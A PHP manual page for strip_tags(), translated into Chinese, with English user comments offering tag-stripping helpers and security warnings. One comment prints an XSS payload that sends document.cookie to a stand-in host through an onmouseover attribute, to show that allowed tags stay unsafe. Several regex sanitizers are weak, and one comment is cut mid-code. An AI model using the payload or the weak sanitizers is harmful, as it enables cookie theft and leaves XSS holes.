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strip_tags

(PHP 4, PHP 5)

strip_tags — 从字符串中去除 HTML 和 PHP 标记

说明

string strip_tags ( string $str [, string $allowable_tags ] )

该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。

参数

str: 输入字符串。
allowable_tags: 使用可选的第二个参数指定不被去除的字符列表。

Note:

HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的，所以无法通过 allowable_tags 参数进行改变。

Note:

This parameter should not contain whitespace. strip_tags() sees a tag as a case-insensitive string between < and the first whitespace or >. It means that strip_tags("<br/>", "<br>") returns an empty string.

返回值

返回处理后的字符串。

更新日志

版本	说明
5.0.0	strip_tags() 变为二进制安全的。

范例

Example #1 strip_tags() 范例

  <?php
$text  =  '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>' ;
echo  strip_tags ( $text );
echo  "\n" ;

 // 允许 <p> 和 <a>
 echo  strip_tags ( $text ,  '<p><a>' );
 ?>

以上例程会输出：

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

注释

Warning

由于 strip_tags() 无法实际验证 HTML，不完整或者破损标签将导致更多的数据被删除。

Warning

该函数不会修改 allowable_tags 参数中指定的允许标记的任何属性，包括 style 和 onmouseover 属性，用户可能会在提交的内容中恶意滥用这些属性，从而展示给其他用户。

Note:

输入 HTML 标签名字如果大于 1023 字节(bytes)将会被认为是无效的，无论 allowable_tags 参数是怎样的。

参见

htmlspecialchars() - Convert special characters to HTML entities

用户评论:

[#1] denis dot for dot spam at gmail dot com [2015-11-10 13:36:43]

my function to remove specific tags with the content and can remove elements with attributes
<?php function strip_selected_tags_content( $text, $tags = array() ) { foreach ( $tags as $key => $val ) { if ( ! is_array( $val ) ) { $text = preg_replace( '/<' . $val . '[^>]*>([\s\S]*?)<\/' . $val . '[^>]*>/', '', $text ); } else { $text = preg_replace( '/<' . $val[0] . ' ' . $val[1] . '[^>]*>([\s\S]*?)<\/' . $val[0] . '[^>]*>/', '', $text ); } } return $text; } ?>
example:
<?php $clear = array('social', 'script', 'noindex', 'time', 'header', array( 'div', 'class="tags"' ), array( 'div', 'class="box_comments"' ), array( 'p', 'class="form-submit"' ), array( 'div', 'class="comment-form-comment"' ) ) text = '<preheader>image article</preheader> <header>nnnnn</header> <social>fb code, google code etc...</social> etc.... <p class="text"> bla-bla bla-blabla-bla bla-blabla-bla bla-bla </p> <div>sdasda</div> <div class="tags">true code, that code</div> <div calss="comment-form-comment"> coment form on blog</div> '; echo strip_selected_tags_content($text, $clear); ?>
output:
<?php <preheader>image article</preheader> etc.... <p class="text"> bla-bla bla-blabla-bla bla-blabla-bla bla-bla </p> <div>sdasda</div> ?>

[#2] Dr. Gianluigi "Zane" Zanettini [2015-10-22 07:52:37]

A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.

[#3] doug at exploittheweb dot com [2015-08-11 10:17:29]

"5.3.4 strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags

[#4] valentin dot boschatel at evalandgo dot com [2015-05-26 09:41:57]

Hi,

I havee a problem with this function. I want use this symbol in my text ( < ), but it doesn't work because I added character stuck to that symbol.

Exemple :
<?php $test = '<p><span style="color: #ff0000; background-color: #000000;">Complex</span> <span style="font-family: impact,chicago;">text <50% </span> <a href="http://exempledomain.com/"><em>with</em></a> <span style="font-size: 36pt;"><strong>tags</strong></span></p>'; echo strip_tags('$test'); // Outputs : Complex text ?>

I made a function for this :

Function:
<?php function strip_tags_review($str, $allowable_tags = '') { preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($allowable_tags), $tags); $tags = array_unique($tags[1]); if(is_array($tags) AND count($tags) > 0) { $pattern = '@<(?!(?:' . implode('|', $tags) . ')\b)(\w+)\b.*?>(.*?)</\1>@i'; } else { $pattern = '@<(\w+)\b.*?>(.*?)</\1>@i'; } $str = preg_replace($pattern, '$2', $str); return preg_match($pattern, $str) ? strip_tags_review($str, $allowable_tags) : $str; } echo strip_tags_review($test); // Outputs: Complex text <50% with tags echo strip_tags_review($test, '<a>'); // Outputs: Complex text <50% <a href="http://exempledomain.com">with</a> tags ?>

[#5] fernando at zauber dot es [2014-11-10 23:45:33]

As you probably know, the native function strip_tags don't work very well with malformed HTML when you use the allowed tags parameter.
This is a very simple but effective function to remove html tags. It takes a list (array) of allowed tags as second parameter:

<?php function flame_strip_tags($html, $allowed_tags=array()) { $allowed_tags=array_map(strtolower,$allowed_tags); $rhtml=preg_replace_callback('/<\/?([^>\s]+)[^>]*>/i', function ($matches) use (&$allowed_tags) { return in_array(strtolower($matches[1]),$allowed_tags)?$matches[0]:''; },$html); return $rhtml; } ?>

The function works reasonably well with invalid/bad formatted HTML.

Use:

<?php $allowed_tags=array("h1","a"); $html=<<<EOD <h1>Example</h1> <dt><a href='/manual/en/getting-started.php'>Getting Started</a></dt> <dd><a href='/manual/en/introduction.php'>Introduction</a></dd> <dd><a href='/manual/en/tutorial.php'>A simple tutorial</a></dd> <dt><a href='/manual/en/langref.php'>Language Reference</a></dt> <dd><a href='/manual/en/language.basic-syntax.php'>Basic syntax</a></dd> <dd><a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a></dd> </dl> EOD; echo flame_strip_tags($html,$allowed_tags); ?>

The output will be:

<h1>Example</h1>
<a href='/manual/en/getting-started.php'>Getting Started</a>
<a href='/manual/en/introduction.php'>Introduction</a>
<a href='/manual/en/tutorial.php'>A simple tutorial</a>
<a href='/manual/en/langref.php'>Language Reference</a>
<a href='/manual/en/language.basic-syntax.php'>Basic syntax</a>
<a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a>

[#6] bnt dot gloria at outlook dot com [2014-07-10 15:52:56]

With allowable_tags, strip-tags is not safe.

<?php $str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>"; $str= strip_tags($str, '<p>'); echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>"; ?>

[#7] pietro777 [2014-06-06 20:20:45]

$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br />||<br/>||<br>');
var_dump($new); // OUTPUTS string(11) "<br>Each<br/>New<br />Line"

[#8] Kenji [2014-04-24 14:11:39]

A word of warning!!
Do NOT use "admin at automapit dot com"s regex. It's broken:

"lalala <b<b>> lala </b<b>>"

will be stripped into

"lalala <b> lala </b>"

I CANNOT overstate the severity of the security issues you are introducing with such a code! Don't use it, stay safe.

[#9] andy [2014-03-06 15:33:38]

<?php /#s', '', $text, 'm'); } //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be //'<1' becomes '< 1'(note: somewhat application specific) $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text); $text = strip_tags($text, $allowed_tags); //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text); //strip out inline css and simplify style tags $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu'); $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>'); $text = preg_replace($search, $replace, $text); //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains //some MS Style Definitions - this last bit gets rid of any leftover comments */ $num_matches = preg_match_all("/\<!--/u", $text, $matches); if($num_matches){ $text = preg_replace('/\<!--(.)*--\>/isu', '', $text); } return $text; } ?>

[#16] brettz9 AAT yah [2009-04-05 08:10:58]

Works on shortened <?php...?> syntax and thus also will remove XML processing instructions.

[#17] kai at froghh dot de [2009-03-06 08:45:05]

a function that decides if < is a start of a tag or a lower than / lower than + equal:

<?php function lt_replace($str){ return preg_replace("/<([^[:alpha:]])/", '<\\1', $str); } ?>

It's to be used before strip_slashes.

[#18] CEO at CarPool2Camp dot org [2009-02-17 11:10:27]

Note the different outputs from different versions of the same tag:

<?php // striptags.php $data = '<br>Each<br/>New<br />Line'; $new = strip_tags($data, '<br>'); var_dump($new); // OUTPUTS string(21) "<br>EachNew<br />Line" <?php // striptags.php $data = '<br>Each<br/>New<br />Line'; $new = strip_tags($data, '<br/>'); var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine" <?php // striptags.php $data = '<br>Each<br/>New<br />Line'; $new = strip_tags($data, '<br />'); var_dump($new); // OUTPUTS string(11) "EachNewLine" ?>

[#19] mariusz.tarnaski at wp dot pl [2008-11-12 08:05:25]

Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php function strip_tags_content($text, $tags = '', $invert = FALSE) { preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags); $tags = array_unique($tags[1]); if(is_array($tags) AND count($tags) > 0) { if($invert == FALSE) { return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text); } else { return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text); } } elseif($invert == FALSE) { return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text); } return $text; } ?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
text with <div>tags</div>

I hope that someone is useful :)

[#20] admin at automapit dot com [2006-08-09 10:01:54]

<?php function html2txt($document){ $search = array('@<script[^>]*?>.*?</script>@si', // Strip out javascript '@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly '@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments including CDATA ); $text = preg_replace($search, '', $document); return $text; } ?>

This function turns HTML into text... strips tags, comments spanning multiple lines including CDATA, and anything else that gets in it's way.

It's a frankenstein function I made from bits picked up on my travels through the web, thanks to the many who have unwittingly contributed!

[#21] cesar at nixar dot org [2006-03-07 11:44:53]

Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php function strip_tags_deep($value) { return is_array($value) ? array_map('strip_tags_deep', $value) : strip_tags($value); } // Example $array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>')); $array = strip_tags_deep($array); // Output print_r($array); ?>

[#22] salavert at~ akelos [2006-02-13 02:21:13]

<?php function strip_selected_tags($text, $tags = array()) { $args = func_get_args(); $text = array_shift($args); $tags = func_num_args() > 2 ? array_diff($args,array($text)) : (array)$tags; foreach ($tags as $tag){ if(preg_match_all('/<'.$tag.'[^>]*>(.*)<\/'.$tag.'>/iU', $text, $found)){ $text = str_replace($found[0],$found[1],$text); } } return $text; } ?>

Hope you find it useful,

Jose Salavert